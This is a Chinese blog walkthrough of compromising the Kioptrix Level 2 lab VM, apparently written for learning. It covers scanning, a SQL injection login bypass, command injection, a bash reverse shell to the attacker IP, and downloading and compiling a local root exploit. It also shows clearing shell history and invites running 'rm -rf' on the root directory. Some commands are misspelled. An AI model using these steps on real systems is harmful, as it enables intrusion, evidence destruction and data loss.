当前位置: 首页 > article >正文

攻破 kioptix level 2靶机

在训练中学习,现在开始打靶之旅吧。

一、准备

1.查看攻击机ip确认网段

ip addr

=> 192.168.5.129

2.主机探测

namp -sP -T5 192.168.5.0/24

.1是主机

.2是网关

.129是攻击机

.131是目标

.254是什么?

3.端口和服务侦测

端口

nmap -sS -T5 -p- 192.168.5.131

服务

nmap -sV -T5 192.168.5.131

看到 80 端口 http 服务开放

探测网站存活情况

curl 192.168.5.131

目录扫描

dirsearch -u http://192.168.5.131:80

(不加port 80也可以)

4.整理信息

端口、服务、版本

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
3306/tcp open  mysql    MySQL (unauthorized)

有效目录

[10:12:04] 301 -  315B  - /manual  ->  http://192.168.5.131/manual/         
[10:12:04] 200 -    7KB - /manual/index.html 

二、获取权限

1.访问web服务并检测漏洞

经典登录框,尝试弱密码,未成功

结合 3306端口开放的mysql服务,尝试 sql 注入万能密码

admin' or 1=1#

 成功登入

提示 Ping 机器,但没有 Ping 的入口,查看源码分析

注意到其中的 cengter 未被引号闭合,且 </td> 标签多余

修改前端

打开开发者工具,在查看器里观察到没有上图标红的代码

右键选择编辑htm代码,插入 Ping 框内容

==》

也可以使用burp抓包,修改返回包的html代码实现

2.ping

127.0.0.1;ls

成功按序执行

3.反弹shell

攻击机监听本地端口

nc -lvp 8999

目标机将shell送到攻击机上。

copy一下代码

127.0.0.1;bash -i >& /dev/tcp/192.168.5.129/8999 0>&1

连接成功
拿到普通控制权限

三、提权

 侦测系统和版本信息

uname -a
lsb_release -a

==》 Centos5 4.5 操作系统

查找历史版本漏洞

searchsloit Centos 4.5

 当前目录下下载 exp (一定要注意版本对应,比如上图中 4.5 最好是第二个)

searchsploit Centos 4.5 -m linux_x86/local/9542.c

攻击机当前目录开启web服务,操作目标机下载文件

python -m http.server 80

开启成功

cd /tmp

wget http://192.168.5.129:80/9542.c

注意要先切换到tmp目录进行下载,否则权限不够

编译运行

gcc  ./9542.c

./a.out

提权成功

删除历史纪录

histosy -c

也可以试试会发生什么

cd /

rm -rf ./*

补充说明

命令汇总

ip addr
namp -sP -T5 192.168.5.0/24
nmap -sS -T5 -p- 192.168.5.131
nmap -sV -T5 192.168.5.131
curl 192.168.5.131
dirsearch -u http://192.168.5.131:80
admin' or 1=1#
127.0.0.1;ls
nc -lvp 8999
127.0.0.1;bash -i >& /dev/tcp/192.168.5.129/8999 0>&1
uname -a
lsb_release -a
searchsloit Centos 4.5
searchsploit Centos 4.5 -m linux_x86/local/9542.c
python -m http.server 80
cd /tmp
wget http://192.168.5.129:80/9542.c
gcc  ./9542.c
./a.out
histosy -c

-sP  Ping 扫描,用于确定网络中哪些主机存回,不会扫描端口。

-T5  扫描时间,从 0(最慢最隐蔽)到 5(最快最不隐蔽)

192.168.5.0/24  扫描的内网范围,表示 192.168.5.1-254 所有ip

-sS SYN半开放扫描,快速且不容易被检测

-p- 全端口(1-65535)

-sV 服务版本探测

curl http://ip  使用默认的http get请求访问web服务

nc -lvp 8999 在本地机器的 8999 端口上监听传入的连接,并且显示详细信息


bash -i >& /dev/tcp/192.168.5.129/8999 0>&1

bash -i 启动交互式的bash对话

>& 输出重定向

/dev/tcp/192.168.5.129/8999 这是一个特殊的Linux设备文件,用于创建一个TCP连接。这里它被用来建立一个到指定IP地址端口8999的连接

0>&1 将标准输入(文件描述符0)重定向到标准输出(1)。将Bash会话的标准输入输出都通过TCP连接发送和接收。


uname -a

`uname` 是一个在 Unix 和 Unix-like 操作系统中常用的命令行工具,用于显示系统信息。`-a` 参数告诉 `uname` 显示所有可用的信息。当你在终端执行 `uname -a` 命令时,它会返回以下信息:

1. 系统名称:通常是内核名称,对于 Linux 系统来说通常是 `Linux`。
2. 节点名称:主机名,即你的计算机在网络上的名称。
3. 内核版本:操作系统的内核版本号。
4. 机器类型:硬件架构,例如 `x86_64` 表示 64 位 x86 架构。
5. 处理器:有时这个字段可能不显示,或者显示为 `unknown`。
6. 操作系统:完整的操作系统名称,包括发行版和版本号。
7. 版本:操作系统的版本号。
8. 硬件平台:有时这个字段可能不显示,或者显示为 `unknown`。
9. 操作系统构建日期:操作系统构建的时间戳。

例如,一个典型的输出可能如下所示:

```
Linux myhostname 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
```

这里,`myhostname` 是节点名称,`5.4.0-42-generic` 是内核版本,`x86_64` 是机器类型,`GNU/Linux` 表示操作系统。


lsb_release -a

`lsb_release` 是一个在基于 Linux 的系统上用来显示 Linux 标准基础(Linux Standard Base, LSB)相关信息的命令。这个工具特别有用,因为它提供了一种标准化的方式来获取发行版的特定信息,这对于编写需要与特定发行版兼容的脚本和软件非常有用。

使用 `-a` 参数(或 `--all`),`lsb_release` 命令会显示所有可用的 LSB 信息,包括发行版的描述、版本号等。输出的具体内容会根据你的 Linux 发行版而有所不同。

以下是执行 `lsb_release -a` 命令可能得到的一部分输出示例:

```
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.1 LTS
Release:        20.04
Codename:       focal
```

在这个示例中:

- Distributor ID:发行版的标识符,这里是 `Ubuntu`。
- Description:发行版的描述,这里是 `Ubuntu 20.04.1 LTS`。
- Release:发行版的版本号,这里是 `20.04`。
- Codename:发行版的代号,这里是 `focal`,这是 Ubuntu 20.04 版本的代号。

请注意,不是所有的 Linux 发行版都支持 LSB,或者可能没有安装 `lsb-release` 包。如果你的系统没有安装这个包,你可能会看到类似 "No LSB modules are available" 的消息。在这种情况下,你可能需要安装 `lsb-release` 包,或者使用其他方法来获取你的发行版信息。


searchsloit Centos 4.5
searchsploit Centos 4.5 -m linux_x86/local/9542.c

searchsploit 是 Exploit Database 提供的一个工具,用于快速搜索和下载漏洞利用代码。Exploit Database 是一个庞大的漏洞和安全漏洞数据库,它包含了许多已知漏洞的详细信息和相关利用代码。

  • searchsploit CentOS 4.5

    • 这个命令用于搜索所有与 CentOS 4.5 相关的漏洞和利用代码。它会列出所有相关的条目,包括漏洞名称、描述和参考链接。
  • searchsploit CentOS 4.5 -m linux_x86/local/9542.c

    • 这个命令用于直接下载与 CentOS 4.5 相关的特定漏洞利用代码。-m 参数用于指定要下载的模块(即漏洞利用代码文件)。
    • linux_x86/local/9542.c 是 Exploit Database 中的一个特定文件路径,其中 9542.c 是一个针对 Linux x86 系统的本地提权漏洞的利用代码。

 

其他

1.删

2.操作数据库

尝试翻了一遍默认目录也没找到,暂时先这样了

思考一下拿到权限后能做的其他事?


http://www.kler.cn/a/451577.html

相关文章:

  • 实现 QTreeWidget 中子节点勾选状态的递归更新功能只影响跟节点的状态父节点状态不受影响
  • 聊天社交管理系统 Java 源码,构建个性化社交空间
  • GPT人工智能在医疗文档中的应用
  • 学习因子异步化的粒子群优化算法(AsyLnCPSO)——源码
  • vue3入门教程:ref函数
  • Linux 常见用例汇总
  • Java:基于SSM框架的在线电影评价系统
  • o1 Pro模型架构揭秘与 Scaling Law 深度解析 | Claude 3.5 Opus、草莓训练、推理成本剖析
  • 功率器件的热设计基础(二)——热阻的串联和并联
  • java Redis 操作工具类封装(备忘)
  • CentOS设置静态IP教程(2024年12月20日)
  • 软件测试 | 招聘严峻期从面试无力感,到一天2个offer的一些经验分享(内附美团、字节、快手等面试题)
  • Python进程与线程:分布式进程
  • uniapp .gitignore
  • C语言:指针4(常量指针和指针常量及动态内存分配)
  • 创建学员信息修改页面
  • leetcode 3285 找到稳定山的下标
  • uni-app使用组件button遇到的问题
  • centos制作离线安装包
  • 阅读C语言代码的方法
  • 搜索系统常见指标和评估方式
  • Berlandesk 注册系统算法实现与解析
  • SQL—leetcode—175. 组合两个表
  • 如何在 Ubuntu 上安装 PyTorch
  • LabVIEW实现WiFi通信
  • ES6学习Generator 函数(生成器)(八)